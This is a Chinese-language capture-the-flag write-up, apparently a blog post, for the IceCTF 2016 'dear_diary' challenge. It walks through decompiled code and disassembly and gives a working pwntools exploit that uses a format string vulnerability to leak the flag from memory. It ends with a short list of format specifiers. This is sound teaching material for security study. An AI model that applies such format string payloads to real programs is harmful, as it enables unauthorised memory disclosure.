2016 icectf dear_diary wp

介绍:本篇是格式化字符串漏洞类型的第一篇文章, 以后会陆续更新.
漏洞类型: 格式化字符串.
漏洞危害: 任意地址读写.
思路:查找flag.txt地址, 写入flag.txt的地址. 输入格式化串, 使其打印flag.txt.
下面咱们一步一步来, 文件的下载地址在本篇文章的结尾会给出.
首先是源程序IDA pro F5出来的部分代码:
读取flag:

int __usercall flag@<eax>(int a1@<ebp>)
{
  *(_DWORD *)(a1 - 12) = *MK_FP(__GS__, 20);
  *(_DWORD *)(a1 - 16) = open("./flag.txt", 0);
  read(*(_DWORD *)(a1 - 16), &data, 0x100u);
  return *MK_FP(__GS__, 20) ^ *(_DWORD *)(a1 - 12);
}

打印:

int __usercall print_entry@<eax>(int a1@<ebp>)
{
  *(_DWORD *)(a1 - 28) = *(_DWORD *)(a1 + 8);
  *(_DWORD *)(a1 - 12) = *MK_FP(__GS__, 20);
  printf(*(const char **)(a1 - 28));
  fflush(stdout);
  return *MK_FP(__GS__, 20) ^ *(_DWORD *)(a1 - 12);
}

下面我们来调试程序, 查找读取flag.txt的地址.
flag函数的汇编代码:

0x0804863d <+0>:    push   ebp
   0x0804863e <+1>: mov    ebp,esp
   0x08048640 <+3>: sub    esp,0x28
   0x08048643 <+6>: mov    eax,gs:0x14
   0x08048649 <+12>:    mov    DWORD PTR [ebp-0xc],eax
   0x0804864c <+15>:    xor    eax,eax
   0x0804864e <+17>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048656 <+25>:    mov    DWORD PTR [esp],0x8048940
   0x0804865d <+32>:    call   0x8048500 <open@plt>
   0x08048662 <+37>:    mov    DWORD PTR [ebp-0x10],eax
   0x08048665 <+40>:    mov    DWORD PTR [esp+0x8],0x100
   0x0804866d <+48>:    mov    DWORD PTR [esp+0x4],0x804a0a0
=> 0x08048675 <+56>:    mov    eax,DWORD PTR [ebp-0x10]
   0x08048678 <+59>:    mov    DWORD PTR [esp],eax
   0x0804867b <+62>:    call   0x8048480 <read@plt>
   0x08048680 <+67>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048683 <+70>:    xor    eax,DWORD PTR gs:0x14
   0x0804868a <+77>:    je     0x8048691 <flag+84>
   0x0804868c <+79>:    call   0x80484c0 <__stack_chk_fail@plt>
   0x08048691 <+84>:    leave  
   0x08048692 <+85>:    ret    

很明显的是:

0x08048662 <+37>:    mov    DWORD PTR [ebp-0x10],eax
0x08048665 <+40>:    mov    DWORD PTR [esp+0x8],0x100
0x0804866d <+48>:    mov    DWORD PTR [esp+0x4],0x804a0a0
对应的是read函数的三个参数,其中0x804a0a0是read到内存中的地址.
所以我们要利用add_entry将0x804a0a0输入到程序中去.

下面我举个简单的例子帮助大家理解:

   在add_entry函数中,我输入字符串”i love you”,记下此时字符串的地址为0xffffbaa8.第二次我再次输入字符串”hello world”,记下此时的地址为0xffffbba8, 存放在栈上的地址为0xffffba60.执行printf的时候,将地址传给printf即可. 可见二者差的并不是很远.现在假设:第一次输入的是flag的地址,第二次输入的格式化字符串. 然后在执行printf的时候将flag的地址传给printf, flag的内容打印出来. 这个假设是成立的.
我先放出exp:

from pwn import *
choise1 = "1"
choise2 = "2"
choise3 = "3"

#t=remote('104.154.248.13',6501)
t = process("./dear_diary")

print t.recvuntil(">")

########## choice1 ##################
print choise1
t.sendline(choise1)
print t.recvuntil(":")
payload = 0x0804a0a0
print p32(payload)
t.sendline(p32(payload))  #输入flag的地址
print t.recvuntil(">")

##########choice1 #################
print choise1
t.sendline(choise1)
print t.recvuntil(":")
addr1 = 0xffffba60
addr2 = 0xffffbaa8
p = (addr2-addr1)/4-1
payload = "%08x."*p+"%s" #计算好距离读取指定参数           
print payload
t.sendline(payload)
print t.recvuntil(">")

#########choise2#################
print choise2
t.sendline(choise2)
print t.recvuntil(">")

##########choise3##############
print choise3
t.sendline(choise3)

这个exp涉及到格式化字符串一些常用的姿势:

常见用法 : 
%c 将对应参数以字符的形式进行格式化
%hd 以短整形的形式 (这里加上 h 表示短整形 , 也就是从内存取值的时候只取 2 个字节 (32位))
%d 以整形的形式
%ld 以长整形的形式
%x 以 16 进制的形式
%s 以字符串的形式 (注意这里与上面的有所不同 , 这里字符串的参数实际上是一个地址 , 这里的地址指向了需要被打印的字符串)

文件下载地址:https://github.com/ctfs/write-ups-2016/tree/master/icectf-2016/pwn/dear-diary-60

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值